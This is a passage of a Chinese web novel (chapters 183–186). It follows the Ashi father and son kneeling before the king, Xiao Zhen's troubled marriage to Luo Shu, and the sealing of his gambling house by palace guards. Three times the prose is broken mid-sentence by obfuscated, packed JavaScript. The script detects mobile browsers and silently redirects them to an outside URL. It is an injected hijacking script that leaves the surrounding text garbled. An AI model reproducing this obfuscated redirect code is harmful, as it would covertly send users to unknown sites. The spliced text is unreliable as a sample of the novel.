阿史苓话未说完,阿史鹞朝外吩咐了一声:“把她带下去。” 丫鬟们进来,阿史苓不得不回了自己的院子。 阿史父子出了府邸,登上马车,只听得一声驾喝,车马驰向王庭而去,到了王庭前,阿史勒先下马车,走到另一侧,将他父亲搀扶下车。 阿史勒上前,递了进宫牙牌,值守亲卫勘合后,放行。 阿史鹞深吸一口气步入王庭,阿史勒随在他父亲身后,待二人走到丹墀下,头身上洇染夜雾,带着潮气,当值的宫奴见了他二人,躬身上前询问,然后转身报知大宫监。 过了好一会儿,丹增从内廷转出来,上前同阿史鹞、阿史勒厮见过礼。 “阿史大人,大王同王妃已就寝了,回罢。” 阿史鹞问道:“梁妃殿下她人可还好?” 丹增面上挂着客气,说道:“这个老奴却是不知晓了。” 正说着,远处拐出一行人,行色匆匆地朝这边行来。 远时看不太清,近前才识出,是几人抬着一兜子,兜子上好像还躺着一人,从阿史父子身边经过时,看清楚了,那上面躺着的不是别人,正是亲卫首领,阿多图,光线暗,他们看不清他,却嗅到一股很浓的血腥气。 直到一行人走出好远,那阵血气仍萦绕在鼻下。 “这是……”阿史勒问道。 “阿多图大人犯了错,大王略施惩戒。”丹增看向对面的阿史鹞,说道,“大人若有要事,等明日罢。” “扰了宫监宴息,老臣就在这里静候大王,向王请罪。”阿史鹞说着撩开衣摆,跪于阶陛之下,阿史勒随之撩衣跪下。 丹增见了,不再言语,转身退了下去。 第二日一大早,众臣冠冕进入王庭,就见两人跪于长阶下。 先走过来的是同为上姓的罗家家主。 “阿史大人,你这是怎的了?”罗家主惊声问道,可那语调里透着幸灾乐祸。 阿史父子并不回话。 罗家主“嗳——”了一声,又道:“你也一大把年纪的人,怎的还改不了年轻时的轻狂,这又是犯了什么事?” 阿史鹞横了罗家主一眼,冷笑一声:“老罗子,你少在我跟前得意,有你哭的时候。” “哭不哭我不知道,这会儿嘛……我就只想笑。”罗家主说罢,仰头大笑着走了。 没过一会儿,朵家家主朵尔罕走来,似笑非笑地看了一会儿,说道:“阿史大人这是唱哪儿出?” 阿史鹞同罗家主还说得上两句,对朵尔罕那是一句话也不愿说,两人年轻时就是死对头。 “莫非这是马屁拍蹄子上了?”朵尔罕讥讽道。 阿史鹞仍是冷着脸,不语。 朵尔罕顿感没脸,气得甩袖而去。 朝臣们陆陆续续上了长阶,进了大殿。 阿史勒先是看了他父亲一眼,他的两个膝盖已经失了知觉,腰僵涩得不能动弹,心道,如果这次无事,他得回去躺一宿,躺一宿怕是不够,还得让妻子给他揉一揉。 不过前提得大王饶恕他们阿史家的罪责。 乱想间,又瞥见身侧的父亲,身子虽不像年轻人那样劲挺,可脊仍是直的,精神看起来也比他强上许多。 余光中,一袭朱红在宫人的随簇下远远行来,还伴着环佩叮当之声,当下心中一凛,收起浮浅的心神。 待那朱红锦袍近了,近到跟前,半刻不停地从他们身边经过,拾级而上,阿史勒就听他父亲高喊一声,伏地顿首,说道:“老臣有罪,特请大王赐罪。” 朱红的衣摆在风中卷起,停在阿史父子面前,年轻的声音从头顶传来:“阿史大人何罪?” 阿史鹞高声道:“罪一、老臣训诲失当,小女行止悖逆,致其言行无状,不知轻重,未能护持梁妃殿下玉体周全,叫游闲伤了殿下,此罪当万死,罪二、事发后,孽女妄图隐匿罪责,逃避惩戒,更属罪加一等,此皆老臣督教不严之过,请大王降罪于臣。” 说罢,对面没了声音,只有那朱红锦袍在风中鼓裂,还有一捻捻清脆的环佩声…… 第183章 情坎 阿史父子伏跪一夜请罪,指望君王容赦,好不容易顾盼到君王近前,恓惶中自陈其罪,却不见任何回应。 安静后过,上首之人突然说道:“跪了一宿阿史大人可累了?” 阿史鹞哪敢言累,赶紧说道:“罪责戴身,不敢言累。” 上首之人“嗯”了一声,冷声道:“那就接着跪罢。”说罢,人已远去。 阿史勒担忧道:“父亲,大王这是何意,是否不肯宽恕咱们家的罪责?” 阿史鹞吁出一口气,拿袖揩了揩额上的汗,说道:“只叫咱们跪,没要咱们的头,大王已是开恩了,明白了么?” 阿史勒这才会过意来,跟着松了一口气,只要能赦罪,就是再跪三五日,他也跪得。 …… 彼边,一锦绣闺阁内…… 暖色调的壁上挂着精美的壁毯,枣红的底色上湿染着靛蓝描金的藤蔓卷草,四个边角又以银丝绣着石榴花。 屋中的琉璃窗下,设了一张窗榻,榻上铺着细竹席,摆了一张小案几,案几上放着一卷书,书边又有一个簸箕,里面规整放着一些做针黹的东西,案中有一鼎兽炉,燃着,青烟依依。 靠另一面有张黄花梨三面围合的大床榻,床栏上雕着“麒麟送子”,挂着两层轻纱帐,里面一层是青色,外面一层是鹅黄色,光影透过雕花,晨昏时分帐内光影斑驳如画。 鲛纱帐半掩着,帐下偃卧着一人,透过昏昏的夕光可看出应是一女子。 这个时候,榻上的人影动了动,似是困觉才醒。 房门外响起人声:“夫人,起了么?” 女人懒懒地从床上起身,轻声道:“进来罢。” 门前的丫鬟得了话,推门进入,走到床边,拣起一件衣裳,服侍榻上的女子更衣。 女子比大多夷越女子的肌色浅,头发和眸色几近黑色,面目娟秀,身形纤袅。 这女子姓肖,名肖甄,在夷越,姓肖的人家不少,可一说起云川肖家,众人便知说的是哪个,那便是除开高氏、朵氏、罗氏、阿史氏的又一上姓,肖氏。 肖氏同高氏一样,大宗并不在京都,肖氏一族居于云川。 五上姓中,朵氏拥兵自重,威势滔滔,不愿露锋芒,那锋芒也耀目得很。 可这肖氏不同,五上姓中最内敛无声的一族,但他们能并为上姓一族,自然有他们的倚仗。 朵氏手上有兵,而肖氏手上有地。 云川,非一方城池,是夷越南境的一片区,统称云川,南境一片便是肖氏的属地。 当初前越王在大妃兀良慈死后,娶了朵氏,册立朵氏为大妃的同时,又立了云川肖氏为妃。 两人身份上都是妻,无妻妾之分,然,大妃的特有之处便是其子将来会承袭王位,只这一样区别,有这一样区别就够了,无形中就有了高低。 这也是夷越同梁国不一样的地方,梁国是母以子贵,而夷越正好相反,是子以母贵。 就像其他的妃,都是以姓氏来称谓,而大妃的一个“大”字就昭示了身份上的差距,是以,说是无妻妾之分,仍是有高低的。 眼前这位名肖甄的女子便是出自云川肖家,是王庭中那位肖妃之妹。 她所嫁之家乃上姓中的罗氏,罗氏一族,可谓是夷越巨富之族。 她的夫君便是那日嶂山狩猎中同朵阿赤和阿史勒说笑打赌的另一人,罗疏。 当日,嶂山狩猎时,那罗疏身着一袭蓝色骑装,深肌色,眼尾飞斜,扯辔的那只手戴着三个珠石戒,一副豪阔姿样。 同阿史勒、朵阿赤两人站在一起还不显什么,毕竟都是英姿卓绝之人,可像他们这样玉勒雕鞍的郎君,单独拎出来,就能把周围之人压倒一大片。 按说,两人是少年夫妻,门当户对的璧人,本该是和美的一对,可这位肖家女子眉目间却染着点点愁困之色。 “大爷回了么?”肖甄问丫头香海。 香海一面替自家主子系衣带,一面说:“大爷跟前的小奴才来传话,说……不回了,晚饭叫夫人不必等他,让您自己用饭。” 香海说罢,觑看了一眼自家阿姑,心头也是无奈,大爷已多久没宿在这屋了,如今,这屋里冷着,把人也搁冷了…… 罗家大爷从前同自家阿姑那可是坐卧不离,朝夕相顾,她作为甄姑的贴身女婢,很多事情都看在眼里。 那个时候,甄姑还居于云川,十五六岁的青春,已出落得有款有样,求娶之人没间断过。 那年,老爷华诞,各大门阀世家前来为老爷做寿,有本地的权贵,亦有云川外的豪族,连君王都送了贺礼来。 筵宴整整摆了三日,期间宾客不绝,也就是第三日,甄姑游园之时,巧遇了来云川给老爷贺寿的罗家大爷。 甄姑当下侧身回避,而罗家大爷对她家主子却一眼入心,回京都之后就找官媒向肖家提亲。 对于肖家来说,除了王族,很没必要同其他上姓联姻。 所以当时老爷同夫人并没立即应下,而是征问阿姑自己的主意,甄姑没有多想,当下就以自己不想外嫁给拒了。 老爷、夫人听说,便回绝了那官媒,叫她带话回去,只说甄姑年轻尚轻,想再多留两年。 那媒婆子很想做成此桩姻缘,从来都说媒人的嘴,一尺水,十丈波,可这回连她也不得不认,肖家的甄姑同罗家大爷当真是天造地设的一对。 但肖家无意,她也不好多说,只能带着原话回了京都,转告罗家。 这事本该到此为止了,谁承想,那罗家大爷,罗疏,纵着一匹花鬃马奔来云川,在云川置了一处宅院,住了下来。 时不时地到肖家拜访,走动走动,罗家同肖家并为上姓氏族,族中子弟品貌上上乘,一来二去,她家老大人对罗家大爷很是欣赏。 在罗家大爷往来肖家期间,总会时不时撞上甄姑,再借着各种由头,攀扯说上几句话儿,甄姑都是尽量避着。 罗家大爷是真的喜欢自家主子,只消甄姑肯同他说上一句话,他的眼中就生出光彩。 当初老爷、夫人说想将甄姑在身边留两年,只因这么一句话,罗家大爷在云川待了整整两年,两年后,再次请媒人上门提亲,金锦箱笼百来抬,一并叫人送进府中。 这两年间, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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肖夫人看着自己女儿,看似温软,其实是一条道走到黑的性子,外表不显,内里犟得很,平时少言,很难摸透她在细想什么,哪怕碰上再违愿的事情,她也不太表露,这种温吞样反叫他们不知如何是好。 她作为母亲,也觉着罗家大郎不错,看得出来他是真心在意自家女儿。 罗家同肖家缔结,无疑是一桩上好姻缘。 肖夫人见她神情淡淡的,知道劝她不动,只好离开了,回了正房,肖家主见自家夫人那副神色,就知无功而返。 一个月后,外院的小奴儿拿来一封书信给香海,叫她转给甄姑,香海转身回到院中,将信呈给自家主子。 肖甄拆开书信,看着信里的内容。 香海不知信中写的什么,只知甄姑在看过信后,信纸从手间滑落,整个人怔在那里,两眼滚下热泪,豆大的泪珠往外迸,一颗一颗砸在信纸上,把信上的字迹晕成了水墨…… 第184章 美妇人 狄超**,说是执行外务时没的。 他原是跟在肖甄身边的私卫,后因二人有了异样的苗头,肖家主把他打发到云川另一城镇看守宅院。 在他两人分开的这几年里,狄超没再踏足过肖家所在的这个城池。 香海只知道,那一日,甄姑在房中哭成了泪人,先是带着泣声,哭到后来便没了声音。 没过多久,甄姑同意了罗家大爷的求娶,可香海清楚,甄姑点头并非出自真心,而是她急切地想离开云川,不愿待在这片土地,有着逃开的意味。 甄姑出嫁,红妆如茵席,百辆车御,豪盛不已。香海作为甄姑的陪嫁丫鬟一起进了京都罗家。 甄姑嫁进罗家后,温良恭俭,孝事公婆,无一处不好。 大爷对甄姑更是怜爱,自打甄姑来了后把身边的奴姬也遣了,把一身风流博浪收了个干干净净,夜夜只宿在妻子房中,真个是坐卧不离,恩爱甚笃。 婚后一年,甄姑有了身孕,这本是一桩喜事,可她在甄姑面上看不见喜色,更多的恹郁,香海曾劝慰,可她也知道,旁人的劝解无用,对甄姑来讲,两小无猜之情一辈子难忘,更何况那人还**。 情之一事,渡与不渡,端看个人。 甄姑腹中的孩子没能保住,其实滑胎多半还是心思郁结所致。 大爷因着孩儿没能保住,心中难过,却并未责怪甄姑,反叫她放宽心,养好身子,他们之后的岁月还长,孩儿还会再有。 坐小月子期间,大爷对甄姑更是体贴,也是这之后,香海发现,甄姑对大爷的态度有了微变。 就这么过了几年,两人的情意并未因年月而递减败色,反倒越发情深。 这些香海俱看在眼里,直到有一日…… 她陪同甄姑外出买置簪珥,回府后已是下午,甄姑打发了随行的仆从,带着她入到内院。 院子里很安静,也不见看守的下人,屋子的门扇开着,虽是白日,里面却是昏暗暗的。 甄姑往里望了一眼,随即捉裙上了台阶,走到门边,朝里叫了一声:“夫君?” 屋内的圆桌边坐着一人,正是大爷,罗疏。 他侧过头,说道:“你进来。” 甄姑并未多想,推门而入,香海随在她的身侧,然而她刚踏足,大爷一个冷眼横来,她就怯了步子,退到了院外。 那日,屋中到底发生了什么,她并不清楚,只知道,他二**吵了一架,这是从未有过的事,从前,大爷对她家主子是一句重话也不曾有过。 二人成婚多年,一句争执也不曾有,更没闹红过脸,那日吵得格外凶,隐隐听到。 “你见他了……” “心里是不是还未放下……活着……” 吵过后,大爷阔步云飞地出了院子,之后屋子里隐隐传来甄姑压抑的泣声。 后来,香海才知原来狄青没有死,当初老爷为了让甄姑死心,捏造狄青身死的消息,实是派他去了一趟外海。 狄青来过一趟京都,甄姑瞒着所有人同狄青私下见了一面,二人说了什么,无人得知,不知怎的,这事叫大爷知晓了,便有了那一日的争执。 从那之后,大爷再没宿在甄姑房中,常常很晚才回,就是甄姑房中亮着灯烛,他也不入。 渐渐地,府中有传,大爷在外有了相好,还把罗家聚宝阁的生意交给她打理,那女人好像叫什么……万银子…… …… 京都东市,聚宝阁…… 夕光下的琉璃瓦像多色的珠宝璀璨着,红的、绿的、黄的熠着辉光宝气。 这个时辰,宝阁内已经开始进人,赌坊这种地方,越到晚夕越是热闹,越是有人气。 然而,无论阁楼一二层多热闹,三四层总是静的。 三层幽静是因为赌客身份不同,皆是高门大户的女眷,她们玩叶子牌,筹码大,出手自与普通赌客不同。 而四层幽静却因为这一层并未开设任何赌盘,阁中女管事万银子的屋室正在四层。 屋中罗绮张系,香气馥馥,女人坐在妆台前,身后的丫鬟替她梳妆,不远处的罗汉榻上,懒懒地倚着一人,一条胳膊肘在榻案上,左手撑着额,手戴三个戒环,薄薄的眼皮微阖着。 万银子从镜中看向罗汉榻上的男子,脸上晕出一点红来,对身后的丫头道:“你下去罢。” 丫头应声退下,带上房门。 女人拢了拢衣袖,走到榻边,坐下,施施然倚向男人。 “东家今日来得早。” 罗疏缓缓撩起眼皮,勾起一抹笑,任女人偎着自己,说道:“来早了不好?” 万银子笑道:“妾身巴不得东家早来,日日绊在这里才好呢!” 说着,缓缓抬起手,放到男人的衣襟口,就要探进去。 男人的声音从头顶响起:“你的胆子越发大了。” 万银子的手一顿,娇笑道:“那也是大爷惯的。” 说罢,见男人默着,并不出声儿,言语放肆起来:“妾身不敢同府中那位夫人比,妾自知身份低微,只是一样,妾身绝不比那位夫人差。” 万银子见男人仍是不言语,胆子又大了些,说道:“妾身的一颗心都在大爷身上,这世上,再无人比得过妾对大爷的心。” 罗疏轻笑一声,也不知在笑什么,说道:“你这话倒是有一句说对了。” 万银子眼中生亮,问道:“哪句?” 罗疏把女人拉离自己,往她面上看了两眼,并不答她的话。 万银子不依,嗔怪道:“怎的说话只说一半,叫妾身晚间怎好入眠。”借着这个当头,女人更进一寸,“东家今儿留下陪陪妾身罢,别回去了。” 话音才罢,就见男人眉头一锁,万银子心里一慌,赶紧说道:“妾身失言。”她能有如今的好日子全靠眼前这个男人。 “认清你的身份。”罗疏点了点手。 万银子忙起身,倒了一杯茶水 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15586651|168163||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,小意地递到男人手里,都说她是罗家大爷的新宠,也只有她自己知晓,哪儿是什么新宠,不过是他手边逗乐的玩意儿。 直到现在,他都不曾在她这里歇过一夜,他也不曾碰过她的身。 罗疏接过茶盏,呷了一口,视线越过杯沿,突然定在一处,猛地站起身,三步并作两步走到对面的妆台前,只见妆奁上放了一串簪珠,那珠体灿若明霞,莹润如酥,散着青蓝色的宝光。 “你从哪儿得来的?”罗疏冷声问道。 万银子心里一咯噔,这串碧海珠是那日七姑从那个女人头上攫取的,后来拿到她这里销讫。 当日,两方争闹时,因她相中这件宝物,心中着实喜爱,便在暗处漠然旁观。 七姑把碧海珠拿来,她本想忽悠着压压价儿,谁知那贼妇也是个识货的,一再抬价,她少不得肉痛花了大钱才得到这珠子。 昨夜拿在手里把玩许久,越看越喜欢,越看越稀罕,结果忘记把珠子收起来。 万银子见罗家大爷问,心道,这珠子来路不正,且在聚宝阁**而得,万不可让他知道,于是扯谎道:“这珠子是燕回坊新进的货,妾身见着喜欢,就买了回来。” 说着,走到男人身边,想将那珠子重新放回匣内,谁承想,男人甩手就是一耳刮,扇到她的脸上。 这一巴掌直把女人打得一趔趄。 “敢在爷面前弄鬼,说!这东西哪里来的?!若有半句虚言,折了你的骨。”罗疏气煞道。 他不能不气,这碧海珠就是他罗家供纳王庭的那串,绝不会错,他父亲还在他面前洋洋说过,大王得了碧海珠后,对他面色都和善了两分,言语透着赞赏,料想是梁妃很喜欢。 这宝贝怎会在这里?! 罗疏心里产生一个不好的念头,今日他父亲从王庭下朝回来,心情甚好的同他论起今日所见,调侃阿史家父子不知犯了何事,跪在大殿前,已跪伏了一夜,直到第二日,王都没叫他二人起身。 他有得到风信,阿史家的女儿近日陪同梁妃下到坊市游转。 阿史苓那祖宗不会把人引到他聚宝阁罢?这念头太过荒唐,被罗疏一下否了。 万银子见东家面色吓人,不敢再瞒,把昨夜发生的事情讲了。 罗疏闭了闭眼,开口问道:“你说的那美妇人可是梁人?” 万银子这才意识到事态严重,磕巴道:“是……是梁人……” 罗疏指尖猛地一颤,心道,完了。 正想着,楼下传来闹哄哄的乱动。 罗疏“啪——”地推开门,走出,凭栏向下看去。 阁里涌进一群持戟人,居然是都中禁卫! 军兵涌进,阁里的女客全乱了,急得哭哭啼啼,惊得花容不整,出又出不去,躲又无处躲。 罗疏两眼睨着楼下的动静,又将目光转到带队之人的身上,正巧那带队之人似有所觉,抬头看来,两人看了个正着…… 第185章 如此水性儿 禁卫一进聚宝阁,便把场子封了,阁中再不得进出。 领头之人勒着一条墨绿宝带,身着同色系的劲装,往前走了两步,抬起头,同罗疏对上。 罗疏扬起下巴,玩味道:“我当是谁,你不是在王庭罚跪么?怎么这会儿跑我这里来撒野,你那腿脚没跪废了?” 阿史勒冷笑一声:“你倒是心大啊,明知故问,我腿脚再废,这条命还在,你嘛,可就难说了……” 说着,一众禁卫冲上楼,将万银子押解下楼,女人挣了挣,抬头看向罗疏,惊惶道:“东家救我。” 她这是招惹到不能招惹的人了,然而意识到时,为时已晚。 罗疏同阿史勒只淡淡睨了一眼女人,未有一人搭理她,禁卫上前,在女人的哭诉中将人架绑,押解出了聚宝阁,而在另一边,禁卫抓捕到七姑等人,一并投入暗牢。 这天之后,几人再没出现在京都城,消失了一般,生死不知。 罗疏眼看场子被封,眉眼一耷拉,心里暗骂一声,他招谁惹谁了,真**荒唐事盯着他头上砸,撩开衣摆,奔下楼,阔步到阿史勒面前。 “这事都怪你妹妹。” 阿史勒一噎,虽说心里也怨阿史苓没谱,可在外人面前,还是护着她:“罗疏,你自家的生意场子,管理生乱,倒怨我小妹,你那意思是,若不是上面那位,换作其他人,就可以随意对待了?” “你……” 阿史勒刚准备挪脚往前走两步,就“嘶——”了一声,跪狠了,双膝疼得厉害,面上还不能显露,怕对面人笑话。 “兄弟一场,别怪我没事先提醒你,我小妹还是陪侍,咱家还受了这么大的过责,我家老大人现在还在家躺着,你这……只怕过不去了……”阿史勒说道。 罗疏岂能不知,虽说店里女管事犯事,可聚宝阁是他的地盘, 那几个草芥小民,抓住一通打杀完事,真正要整治的是身为罗家人的他,呼延吉这会儿正革旧制,兵权在握,好死不死这个时候犯事,不异于倒持白刃,给呼延吉递刀柄。 最好的结果,死他一个,保全罗家,再坏一点,罗家也会受到牵连。 据他所知,经过东境一事后,呼延吉就在整饬军权,且成效斐然,天威愈固,阿史家这般急切表诚,就连朵家都只能暂避其锐,可见其雷霆手段。 君王威势日隆,朝臣们日日谨言慎行,生怕成靶子,变成儆猴的那只鸡,好了,这会儿他撞到风口,成了待宰的鸡。 罗疏静了一会儿,并没流露太多的惧意,再次抬眼,说道:“看在这些年的兄弟情上,容我回府一趟。” 阿史勒有些迟疑。 “又跑不了,耽误不了你立功。”罗疏说道。 阿史勒想了想,终是点了头。 罗疏走到阁外时,太阳已落到山后,天空青白一片,这个时辰,街边的酒楼开始燃灯,街面上短暂的清静,归家的人已归家,夜闹的人还未出。 香海急急从前厅跑到后院,进了房门,扶着门栏咽了咽口水,喘声道:“主子……大爷回……回了……” 肖甄脸上有了一丝笑,说道:“灶房的菜还热着么?” “热着,热着,每日都照您的吩咐叫阿姆们热着呢!”香海欢喜道。 “还不快叫人上饭菜。”肖甄说道。 香海“嗳”了一声,忙颠颠的跑了,有一年了罢,大爷夜夜晚归,从不在院中用饭,也不进主子的房,连铺陈都设在了书房,只在书房歇息。 今日天未暗回了府,定是爷回了心意,香海心道,私会狄超是她家甄姑做得不对,可她作为甄姑的贴身丫头,看得出来,甄姑心里真正在意的是大爷。 但她家阿姑不是个情绪外露之人,亦不像别的女子那样,会说软款话,做小伏低,以至于二人的这个郁结总不能解。 饭菜还未摆上桌,罗疏已从院外走了进来,并打发下人们出了院子,一抬头,就见肖甄立在门首看着他。 罗疏脚步一顿,朝她走去,经过她时,开口道:“进来,有话同你说。” 肖甄随在他的身后进屋,刚想问他可曾用过晚饭,就听他说道:“关上房门。” 肖甄只好回过身,将房门轻轻掩上。 “夫君用过饭否?妾身适才叫灶房把菜热了,一会儿端上来。” 罗疏看了她一眼,走到案后,执笔铺纸,急急书写着什么,然后将笔管掷向笔筒,信纸摊开,吹了一吹,拣起,递出:“这是给你的,拿去。” 肖甄走上前,接过,放在手里一看,面色唰得白了。 只见那纸上写道: 立休书人罗疏,凭媒聘肖氏为妻,谁料过门之后,此妇诸多过失之处,念及夫妻之情,不去明言,遂将其退还原籍,任凭改嫁,并无异言。 这是……休书?肖甄不可置信地抬眼问道:“夫君要休我?” 罗疏点头,说道:“是,我会派人送你回云川。” 肖甄立时就红了眼眶,心里从未这般慌乱,上前拉住他的衣袖,说道:“妾身并未做过半点对不住夫君之事,何至于如此狠心。” “你同他私下相见,难说心里没有旁的想法。”罗疏睨向女人牵扯自己衣袖的手,又道,“我若早早知晓你有此水性儿,决计不会让你进我罗家大门。” 肖甄一口气闷在心头,差点没缓过来,嘴唇几欲咬破。 “同他相见,不过是让他断了念想,把前事讲清讲明,往事前尘,已是云烟,夫君难道看不懂妾的一颗心么?”肖甄还想挽回,她从未这般坦白过自己,只因她不想失去他,不知何时起,他已悄不声儿地入了她的心。 罗疏冷着一张脸,没有半分动容。 “是么?可你那情郎却不是这般说的,你同他私会,隐秘得连贴身丫头也不带,你道我为何会知晓?” 肖甄眼睫微颤,面色变得更加难看。 罗疏继续道:“没错,就是你那情郎找上的我。”男人冷笑一声,笑得苦涩,“连咱们的第一个孩子也是因他没的,是也不是?” 肖甄张了张嘴,她想解释,可没法解释,他说得没错,那个时候的她沉在一段倦怀的青春苦涩里走不出来。 “怪道那时你日日愁闷,我还以为你思家,丢开手上要务,日日伴着你,原来不是思家,是想这野汉!”男人满腔讥讽,“你肖氏为云川豪族,同我罗氏并 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15586652|168163||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 夷越上姓,想不到教养出来的女儿,竟是这般的……” 罗疏终是没说下去,然而肖甄却白着脸,追问道:“这般的如何?” “叫我怎么说出口?马车已备在府外,不必辞族中长辈,待你去后,我自会同他们交代,你的嫁妆我会叫人一并送还,你自去罢。”男人说罢,一甩袖,背过身不再看向女人。 肖甄哭得两眼红肿,点了点头:“想不到,你是恁硬心肠的人。” 说罢,也不及收拾任何衣物,只带了几个肖家陪过来的仆从,出了府门,此时天已暗了下来,府门前的大灯笼把门前的一片地照亮。 那里已停当了几辆宽大的马车,肖甄在仆人的搀扶下,踩着杌子进到车内,丫头香海随后进入马车。 “主子……我们……”她仍有些不敢相信,就这样被遣还云川了?可当她看见自家主子花容淹淡的模样,闭上了嘴。 “叫车夫启行罢。”肖甄拭干眼泪,重新调整情绪,她没做过对不起他的事情,不必哭哭啼啼。 香海又往主人脸上看了两眼,确认她无事,掀开车帘,朝外说道:“启行罢。” 车夫应下,扬鞭一甩,前前后后几辆马车缓缓朝一个方向行进。 香海从车案倒了一杯香茶,递到主人手边:“主子,喝点茶。” 说罢,见肖甄滞在那里,失了魂一般没有反应,不知在想什么,眼角仍带着红红的泪星,于是将茶杯轻搁于小案,缩回手,安静地侍在一侧。 车内无人声,只有车轮辘辘响,帘子被夜风吹荡起,“呼啦呼啦——”地打在车壁上。 肖甄心底一片悲凉,比这夜色还凉,虽说她告诉自己,她没有对不住他,没有错,是他狠心,可脑子里总是抑制不住地闪过二人过往的片段。 为着她,他在云川待了两年有余,这个做不得假,他会在她经常过往的小径等她,故作偶遇,他同她攀谈,他面上冷持,她却看出他眼中流露出的欢喜,这也做不得假。 后来,她嫁到罗家,他没有半点冷待她,对她仍是极好,闲暇之时,她甚至想啊,哪怕是狄超,也未必有他这样体贴。 再后来,他们的孩子没保住,他没有怨责她半分。 狄超出现在她面前的时候,她的内心没有太大的起伏,初时只是惊诧,惊诧过后是对他还活于人世的开心,再无其他了。 “甄姑,你可愿随我走?”狄超满脸期待地问她。 肖甄呆了呆,摇头道:“你活着就好,过去的已是过去。” 狄超没料到她会是这个答复:“你是不是怨我一次也未去看你?”男人说着,不待肖甄答话,继续道,“那个时候,我知道你我二人此生不可能,只好把对你的心思掩下,可现在不一样了。” 狄超发现他说罢,他心中思念之人仍是神情淡淡的,又道:“我去了外海一趟,原来另一端还有更大的国土,在那里没人认识我们,我们可以在那里生活,虽给不了你泼天的富贵,可凭我的身手养活你不成问题……” 他能说出这番话也是因着他知道,甄姑并不是一个贪慕虚荣的女子,只要他二人在一起,什么困难都能克服…… 第186章 轻薄之人 狄超被主家派去外海,在那里待了不少时候,回来后才知肖甄已嫁作他人。 他终是晚了一步,不过没关系,他在外海置办了家业,为的就是带她远离这片地界,无论她嫁作人妇还是怎样,他不在乎,他要带她走,在一个无人认识他们的地方,平和地度过余生。 曾经,少年时的他和她隐晦地说及过,寻一片高阔的天,广袤的地。 现在,他寻到了这样的天地,凭着自己的本事,在那里立住脚,有了一方安歇之所,可眼前人却告诉他,过去的都过去了。 “阿超,我现在过得很好,这里有我的家人。” 狄超怔了怔,问道:“家人?那姓罗的是走过风月场的,这等轻薄公子是你家人?” “你莫要这般说他,他不是那样,就是有,也是从前之事,我不计较。”肖甄脸上闪过一丝愠意,“还有,他是我夫君,自然是我家人。” 此时狄超才恍然,原来她的心已不在他这里,这是他最惶惑的。 肖甄不愿多待,说了几句,就离开了,然而,她并不知在她走后,狄青心中不忿,秉着故意恶心人的想法找上了罗疏。 马车在街市缓缓行着,肖甄缓缓地闭上眼,眼眶噙着的泪儿又掉了下来,脑子里全是他,根本止不住,一想起,连呼吸都是疼的。 正在这时,马车遽停,外面闹哄哄的。 “发生何事?”香海朝外问了一句。 车夫的声音隔着帘子传来:“不知何因,前面的路封了,好多官兵哩!” “主子,我去看看。”香海说道。 肖甄“嗯”了一声。 香海掀帘下车,去了不多时重新登入车内,急声道:“主子,是聚宝阁。” “聚宝阁怎么了?”肖甄问道,聚宝阁是罗疏手下的营生。 “封了,都中禁卫封的,好多人围着看哩!” 肖甄听罢,顾不得许多慌地下了马车,香海忙随在她的身后。 聚宝阁外围了不少人,从人隙间看去,楼前排立着禁卫,灯火通明的楼内人影窜动着。 围观之人纷纷议论。 “也不知这聚宝阁出了什么事?”人群中一个声音说道。 “定然不是小事,你看连禁卫都出动了。”又一人说道。 也不知谁说了一声儿:“听人说,聚宝阁背后的东家是罗家那位,我看呐,定是得罪了更大的人物。” 其他人听罢,纷纷应喝。 肖甄在丫鬟的护持下走回马车边,略作沉吟,对车夫道:“回罗府。” 他一定遇上了**烦,怕带累她,这才狠心给她休书。 马车回到罗府大门前,肖甄下了车进入府中,立时有几个年长的仆从迎了过来,脸上尽是慌张之色。 “夫人可算回了,刚才老爷、夫人正找你呢。” “大爷呢?”肖甄心中隐有感知,仍是问了句。 老仆们相互看了一眼,说道:“大爷被带走了。” 肖甄不再耽搁,在仆从的随同中去了正院,才走到院中,就听见正房中罗母的泣诉声。 丫鬟往里报了一声,出来打帘,肖甄走了进去。 罗母见着儿媳,忙招她到身边,牵着她的手,又一番哭诉。 “遇着点事,就哭哭啼啼,哭能把事情解决了?”坐于上首的罗父说道。 屋中气氛太过沉抑,罗父这一嗓子叫人的心又是一沉。 罗母只得拿帕子掩着脸,拭了泪,说道:“老爷好歹想想办法,其他的小子我都指不上,以后就指着这个,没了他,叫妇人我可怎么活?” 肖甄从旁轻声劝慰。 此时的罗父已知晓事情首尾,心里把阿史家有牌位的、无牌位的翻出来骂了个遍。 “你还指望那孽子?!若不是他混账,招了那么个祸端做聚宝阁管事,也不会惹出这事,当时但凡有人出面调停,都不至于伤了梁妃,不怪君王发怒,这事放谁身上,都不能忍!” 那碧海珠还是他家献上去的,落后大王赞赏了几句,把他给乐的,为此得意了好些时,这会儿,碧海珠又回了他罗家,这叫什么事! 一想到那孽子,又是头疼,这小子做得唯一像样的事就是娶了肖氏女。 